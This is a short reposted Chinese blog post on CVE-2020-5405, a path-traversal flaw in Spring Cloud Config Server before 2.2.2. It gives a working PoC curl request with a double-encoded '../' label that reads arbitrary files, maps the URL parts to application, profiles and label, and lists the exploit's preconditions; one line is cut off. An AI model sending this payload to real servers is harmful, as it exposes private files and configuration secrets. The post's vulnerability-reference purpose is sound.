我是靠谱客的博主 干净歌曲,最近开发中收集的这篇文章主要介绍spring框架漏洞整理(Spring Cloud Config路径穿越导致的信息泄露),觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

CVE-2020-5405 Spring Cloud Config路径穿越导致的信息泄露。

此spring框架漏洞影响版本:spring-cloud-config-server < 2.2.2

https://github.com/mai-lang-chai/Middleware-Vulnerability-detection/blob/65bbd0ec4f2fd012318f7d91548ba1f338d5e064/Spring%20Cloud/CVE-2020-5405%20Spring%20Cloud%20Config%20%E7%9B%AE%E5%BD%95%E7%A9%BF%E8%B6%8A/README.md

poc:

Spring Cloud Config路径穿越导致的信息泄露利用点1:

curl http://127.0.0.1:9988/foo/profiles/%252f..%252f..%252f..%252fUsers%252fxuanyonghao%252ftmp/aaa.xxx

读取 /User/xuanyonghao/tmp/aaa.xxx 文件

foo 对应 {application}
profiles 对应 {profiles}
%252f..%252f..%252f..%252fUsers%252fxuanyonghao%252ftmp 对应 {label}

todo 条件限制:

todo 1. 文件必须有后缀,也就是类似 .txt 等等。

todo 2. cloud: config: server: native: search-locations: file:///tmp/{label},此处的目录需要有{application}或{profiles}或{label}&#x

最后

以上就是干净歌曲为你收集整理的spring框架漏洞整理(Spring Cloud Config路径穿越导致的信息泄露)的全部内容,希望文章能够帮你解决spring框架漏洞整理(Spring Cloud Config路径穿越导致的信息泄露)所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(53)

评论列表共有 0 条评论

立即
投稿
返回
顶部